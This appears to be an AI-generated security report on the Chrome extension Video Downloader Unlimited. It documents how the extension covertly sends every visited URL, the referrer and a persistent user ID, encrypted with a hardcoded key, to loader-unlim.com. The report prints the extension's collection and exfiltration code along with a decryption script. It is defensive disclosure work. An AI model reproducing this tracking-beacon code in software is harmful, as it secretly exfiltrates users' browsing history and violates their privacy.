Is Video Downloader Unlimited safe?

Critical risk

Downloads detected video files and HLS streams from webpages to your computer for offline playback.

This extension detects available media files on a webpage and turns its browser icon blue when videos are found. Its popup lists available media files with their format and size, and provides a Download button to save them to your PC. The description notes that it is not a YouTube downloader.

loader-unlim.v1.1.15Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Browsing History Transmitted to loader-unlim.com via AES-GCM Encrypted POST

On every navigation, Video Downloader Unlimited logs the URL, referrer, response metadata, tab-foreground state, and an install UUID, encrypts it (AES-GCM), POSTs to loader-unlim.com every 10s max.

DA captured two; the key decrypts both.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any web page.

The extension did this

The extension records the URL, where you came from, HTTP status and content-type, and whether the tab was active, then sends this record to loader-unlim.com.

No interaction beyond navigation is required. The collection runs on every HTTP/HTTPS URL across all sites.

02EvidenceFIELD TABLE
Fields transmitted on each navigated page:
FieldValueWhy it matters
Page you are visiting
https://www.facebook.com/The full URL of the page you navigated to.
Page you came from
https://www.google.com/search?q=facebookThe URL of the previous page on that tab, builds a navigation chain.
Persistent user UUID
6a446655-0236-4a72-ba70-51c4af0df3a1A UUID generated on first install and stored locally, appearing on every request so the server can link all your visits.
HTTP response code
200The HTTP status code of the page response (e.g. 200, 301, 404).
Content-Type header
text/htmlThe MIME type returned by the server, helps classify the resource category.
Foreground flag
0Whether the tab was the active one when the navigation occurred.
Timestamps
2026-06-04T21:17:12.680ZISO date string and millisecond epoch timestamp of when the record was assembled.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The POST body carries a single 'data' field whose value is a base64-encoded AES-GCM ciphertext. The first 16 bytes of the decoded buffer are the random IV; the remainder is the ciphertext. A hardcoded key embedded in the extension source decrypts it.

What's actually being sent
[
  {
    "targetUrl": "https://www.facebook.com/",
    "userId": "6a446655-0236-4a72-ba70-51c4af0df3a1",
    "referrerUrl": null,
    "statusCode": 200,
    "contentType": "text/html",
    "foreground": 0,
    "fileDate": "2026-06-04T21:17:12.680Z",
    "deviceTimestamp": 1749074232680,
    "requestType": "GET"
  }
]
04EvidenceCODE COMPARE
The code that does this

The collection and encryption code in serviceWorker.js:

What it actually does
AES-GCM key import and encrypt
// Encrypts a JSON string using AES-GCM.
// The key is hardcoded as the UTF-8 string 'tzMx9B4xf183Yv2B'.
// A random 16-byte IV is generated per call and prepended to the ciphertext.
async encryptData(plaintext) {
  const encoder = new TextEncoder();
  const key = await crypto.subtle.importKey(
    'raw',
    encoder.encode('tzMx9B4xf183Yv2B'),  // hardcoded key
    'AES-GCM',
    true,
    ['encrypt']
  );
  const iv = crypto.getRandomValues(new Uint8Array(16));  // random IV
  const ciphertext = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    key,
    encoder.encode(plaintext)
  );
  // Prepend IV to ciphertext, then base64-encode the combined buffer.
  const combined = new Uint8Array(iv.length + ciphertext.byteLength);
  combined.set(iv);
  combined.set(new Uint8Array(ciphertext), iv.length);
  let binary = '';
  for (let i = 0; i < combined.length; i++) binary += String.fromCharCode(combined[i]);
  return btoa(binary);
}
sendData — POST to the collection endpoint
// Sends the encrypted payload to the remote server.
sendData(payload) {
  fetch('https://loader-unlim.com/api/collect.php', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json;charset=utf-8' },
    body: JSON.stringify(payload)    // { data: '<base64 AES-GCM blob>' }
  });
}
05EvidenceTHIRD PARTY LIST
Where the browsing data is sent:
  • loader-unlim.com

    Receives AES-GCM encrypted browsing records via POST to /api/collect.php. Not the extension's Chrome Web Store developer domain.

06EvidenceTEMPORAL PATTERN
When this fires
Every 10 seconds

The extension enforces a minimum 10-second gap between successive POSTs (timestamp guard variable J). Navigations that occur within 10 seconds of the previous send are dropped, not queued.

07EvidenceARTIFACT
Reproduce it yourself

Decrypts any captured POST body from loader-unlim.com/api/collect.php using the hardcoded AES-GCM key from the extension's source. Pass the base64 'data' field value as the first argument.

RequiresNode.js 16+
vdu-decrypt-payload.js · js
#!/usr/bin/env node
// vdu-decrypt-payload.js
// Decrypts POST bodies from loader-unlim.com/api/collect.php sent by
// Video Downloader Unlimited (mkjjckchdfhjbpckippbnipkdnlidbeb).
//
// Usage:
//   node vdu-decrypt-payload.js '<base64-data-field-value>'
//
// The 'data' field value comes from the POST body JSON:
//   { "data": "<base64 AES-GCM payload>" }
//
// No dependencies — uses Node.js built-in crypto.webcrypto.

const { subtle } = require('crypto').webcrypto;

// Hardcoded AES-GCM key from serviceWorker.js encryptData() at line ~198.
const KEY_STR = 'tzMx9B4xf183Yv2B';

async function decrypt(b64) {
  const enc = new TextEncoder();
  const key = await subtle.importKey(
    'raw',
    enc.encode(KEY_STR),
    'AES-GCM',
    true,
    ['decrypt']
  );

  // Decode base64 to Buffer
  const buf = Buffer.from(b64, 'base64');

  // The extension prepends a 16-byte random IV before the ciphertext.
  const iv = buf.slice(0, 16);
  const ciphertext = buf.slice(16);

  const plaintext = await subtle.decrypt(
    { name: 'AES-GCM', iv },
    key,
    ciphertext
  );

  return new TextDecoder().decode(plaintext);
}

const input = process.argv[2];
if (!input) {
  console.error('Usage: node vdu-decrypt-payload.js <base64-data-field>');
  process.exit(1);
}

decrypt(input)
  .then(plain => {
    console.log('Decrypted payload:');
    console.log(JSON.stringify(JSON.parse(plain), null, 2));
  })
  .catch(err => {
    console.error('Decryption failed:', err.message);
    process.exit(1);
  });
How to run it
  1. 1
    Intercept a POST to loader-unlim.com/api/collect.php via DevTools or a proxy.
  2. 2
    Copy the 'data' field.
  3. 3
    Run: node vdu-decrypt-payload.js '<data-value>'.
  4. 4
    JSON prints targetUrl, userId, referrerUrl, statusCode, foreground.

What it can do

Permissions this extension asks for, as declared in version 1.1.15. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Act on the current tab, but only after you click the extension

    activeTab

  • Start, monitor and manage your downloads

    downloads

  • Watch every request your browser makes

    webRequest

Updated 21 September 2026mkjjckchdfhjbpckippbnipkdnlidbeb